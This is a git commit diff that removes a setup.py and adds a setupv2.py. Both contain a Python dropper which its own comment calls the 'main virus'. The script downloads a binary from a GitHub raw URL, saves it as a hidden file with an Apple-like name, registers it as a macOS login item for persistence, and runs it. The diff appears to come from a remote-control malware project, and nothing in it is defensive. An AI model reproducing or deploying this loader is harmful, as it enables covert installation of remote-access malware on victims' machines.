diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 16:36:57 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 16:36:57 +0800 |
| commit | a867993c7945079b20f1f7d3935148f0cc2fa131 (patch) | |
| tree | 035704ce84e719bf9fc6bafd0705eb592d91277e | |
| parent | b149d1da4571563757c225e0b9af6a8741ab9999 (diff) | |
updated
| -rw-r--r-- | setup.py | 14 | ||||
| -rw-r--r-- | setupv2.py | 22 |
2 files changed, 22 insertions, 14 deletions
diff --git a/setup.py b/setup.py deleted file mode 100644 index 48236c8..0000000 --- a/setup.py +++ /dev/null @@ -1,14 +0,0 @@ -from requests import get -from os.path import expanduser -from os import remove -from subprocess import Popen as subproc -from os import system as cmd - -filename = "com.apple.com.user.core" - -# download main virus -open(f"{expanduser('~')}/.{filename}", 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content) - -cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}'") - -subproc([f"{expanduser('~')}/.{filename}"]) diff --git a/setupv2.py b/setupv2.py new file mode 100644 index 0000000..6644560 --- /dev/null +++ b/setupv2.py @@ -0,0 +1,22 @@ +from requests import get +from os.path import expanduser +from os import remove +from subprocess import Popen as subproc +from os import system as cmd + +filename = "com.apple.com.user.core" +localfile = f"{expanduser('~')}/.{filename}" +# download main virus +url = "https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main" +tb = 0 +response = get(url) +if response.status_code == 200: + with open(localfile, 'wb') as f: + for chunk in response.iter_content(chunk_size=1024): + if chunk: + tb += 1024 + f.write(chunk) + +cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}'") + +subproc([localfile]) |
